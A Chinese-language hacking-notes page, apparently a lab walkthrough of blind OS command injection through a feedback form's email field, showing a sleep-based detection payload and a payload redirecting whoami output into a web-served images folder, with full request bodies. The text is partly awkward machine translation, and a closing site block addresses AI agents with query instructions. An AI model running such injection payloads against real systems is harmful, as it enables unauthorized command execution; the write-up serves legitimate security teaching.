> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/command-injection/blind-os-command-injection-with-output-redirection.md).

# 通过输出重定向的盲 OS 命令注入

### 带输出重定向的盲 OS 命令注入

#### 实验描述

* 该应用存在系统命令注入漏洞 **盲目** 在反馈功能中。
* 用户输入数据被注入到服务器端 shell 命令中。
* 该命令的输出 \*\*不会直接返回\*\* 在 HTTP 响应中。
* 不过，有一个可访问的书面记录：/ `/var/www/images/`
* 该应用提供由此目录生成的目录图片。
* 因此我们可以 **将输出重定向** 到该文件夹中的一个文件中，然后通过图片加载 URL 读取该文件。

**实验目标：** 运行 `whoami` 命令并获取其输出。

```bash
;sleep 10;
```

#### 注入检测（时间延迟）

使用的是反馈表单。/ 该 **email** 字段存在漏洞：当你注入延迟时，响应大约需要 10 秒。

注入到 `email` 字段中的有效载荷：

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```

{% endcode %}

10 秒延迟证实了命令注入。

#### 带输出重定向的操作

目的：将……的输出重定向到 `whoami` 到……中的一个文件 `/var/www/images/`.

注入到 `email` 字段中的有效载荷：

```
;whoami > /var/www/images/test.txt;
```

请求正文示例：

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```

{% endcode %}

此命令会创建（或覆盖） `test.txt` 该文件位于可通过 Web 访问的目录中。

```bash
/image?filename=test.txt
```

#### 结果恢复

要读取 `whoami` 保存在文件中的输出，我们调用提供图片文件夹中文件的 URL：

<figure><img src="/files/b8da17b2df6ac48357c31e49a5e7ad4304879a79" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/command-injection/blind-os-command-injection-with-output-redirection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
